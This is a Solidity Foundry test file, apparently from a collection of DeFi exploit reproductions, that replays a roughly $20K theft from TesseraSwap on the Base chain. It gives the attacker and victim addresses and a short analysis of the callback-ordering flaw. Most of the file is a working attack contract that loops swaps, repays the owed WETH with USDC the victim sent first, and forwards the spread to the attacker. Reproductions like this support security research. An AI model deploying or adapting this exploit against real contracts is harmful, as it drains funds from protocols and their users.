src/test/2026-05/TesseraSwap_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$20K
8// Attacker : 0x2352a1fca90182509dca9c12b2cad582a38e8b82
9// Attack Contract : 0x74513519689b1fb427747624a4dd87b3849d39cd
10// Vulnerable Contract : 0x55555522005bcae1c2424d474bfd5ed477749e3e
11// Victim : 0x3dbe077e7986657e95e1cc50089f17a5a4af0aae
12// Attack Tx : https://basescan.org/tx/0xc2df72ff612c90e07c9e051e7772a39f31fb4ca9e61f5b705f921bffa26b36de
13 
14// @Info
15// Vulnerable Contract Code : https://basescan.org/address/0x55555522005bcae1c2424d474bfd5ed477749e3e#code
16 
17// @Analysis
18// Twitter Guy : https://t.me/defimon_alerts/3038
19//
20// TesseraSwap transferred USDC from its treasury before collecting WETH from the attacker callback. The attacker
21// used the received USDC to buy the owed WETH externally, repaid Tessera, and kept the WETH/USDC spread.
22 
23address constant ATTACKER = 0x2352a1FcA90182509dCa9c12B2CAd582a38E8b82;
24address constant TESSERA_SWAP = 0x55555522005BcAE1c2424D474BfD5ed477749E3e;
25address constant WETH_TOKEN = 0x4200000000000000000000000000000000000006;
26address constant USDC_TOKEN = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
27address constant WETH_USDC_POOL = 0x6c561B446416E1A00E8E93E221854d6eA4171372;
28 
29interface ITesseraSwap {
30    function tesseraSwapWithCallback(
31        address tokenIn,
32        address tokenOut,
33        int256 amountSpecified,
34        uint256 amountCheck,
35        address recipient,
36        bytes calldata callbackData,
37        bytes calldata swapData
38    ) external;
39}
40 
41contract ContractTest is BaseTestWithBalanceLog {
42    uint256 private constant FORK_BLOCK = 46_175_320;
43    uint256 private constant MIN_USDC_PROFIT = 10_000_000;
44 
45    function setUp() public {
46        vm.createSelectFork("base", FORK_BLOCK);
47        fundingToken = USDC_TOKEN;
48        multiAssetLog = true;
49        attacker = ATTACKER;
50        _addFundingToken(WETH_TOKEN);
51        _addFundingToken(USDC_TOKEN);
52 
53        vm.label(ATTACKER, "Attacker");
54        vm.label(TESSERA_SWAP, "TesseraSwap");
55        vm.label(WETH_TOKEN, "WETH");
56        vm.label(USDC_TOKEN, "USDC");
57        vm.label(WETH_USDC_POOL, "WETH/USDC Pool");
58    }
59 
60    function testExploit() public balanceLog {
61        uint256 usdcBefore = IERC20(USDC_TOKEN).balanceOf(ATTACKER);
62        TesseraSwapAttacker attackContract = new TesseraSwapAttacker();
63 
64        vm.startPrank(ATTACKER, ATTACKER);
65        attackContract.executeAttack();
66        vm.stopPrank();
67 
68        uint256 usdcProfit = IERC20(USDC_TOKEN).balanceOf(ATTACKER) - usdcBefore;
69 
70        assertGt(usdcProfit, MIN_USDC_PROFIT, "USDC profit");
71    }
72}
73 
74contract TesseraSwapAttacker {
75    uint256 private constant LOOP_COUNT = 100;
76    uint256 private constant TRACE_WETH_IN = 24_043_971_311_659_606_016;
77    uint256 private constant WETH_PER_LOOP = TRACE_WETH_IN / LOOP_COUNT;
78    // Permissive bound above the live pool price for small exact-output USDC -> WETH swaps.
79    uint160 private constant PRICE_LIMIT_MULTIPLIER = 2;
80 
81    ITesseraSwap private constant tesseraSwap = ITesseraSwap(TESSERA_SWAP);
82    IPancakeV3Pool private constant wethUsdcPool = IPancakeV3Pool(WETH_USDC_POOL);
83    IERC20 private constant weth = IERC20(WETH_TOKEN);
84    IERC20 private constant usdc = IERC20(USDC_TOKEN);
85 
86    function executeAttack() external {
87        for (uint256 i; i < LOOP_COUNT; ++i) {
88            tesseraSwap.tesseraSwapWithCallback(
89                WETH_TOKEN, USDC_TOKEN, int256(WETH_PER_LOOP), 0, address(this), bytes(""), bytes("")
90            );
91        }
92 
93        uint256 usdcProfit = usdc.balanceOf(address(this));
94        if (usdcProfit > 0) {
95            usdc.transfer(ATTACKER, usdcProfit);
96        }
97    }
98 
99    function tesseraSwapCallback(
100        int256 amountIn,
101        int256 amountOut,
102        bytes calldata
103    ) external {
104        require(msg.sender == TESSERA_SWAP, "only TesseraSwap");
105        require(amountIn > 0 && amountOut < 0, "unexpected Tessera deltas");
106 
107        // Buy exactly the WETH owed with part of the USDC Tessera already sent.
108        (uint160 sqrtPriceX96,,,,,,) = wethUsdcPool.slot0();
109        wethUsdcPool.swap(address(this), false, -amountIn, sqrtPriceX96 * PRICE_LIMIT_MULTIPLIER, bytes(""));
110 
111        weth.transfer(TESSERA_SWAP, uint256(amountIn));
112    }
113 
114    function uniswapV3SwapCallback(
115        int256 amount0Delta,
116        int256 amount1Delta,
117        bytes calldata
118    ) external {
119        require(msg.sender == WETH_USDC_POOL, "only WETH/USDC pool");
120        require(amount0Delta < 0 && amount1Delta > 0, "unexpected pool deltas");
121 
122        usdc.transfer(msg.sender, uint256(amount1Delta));
123    }
124}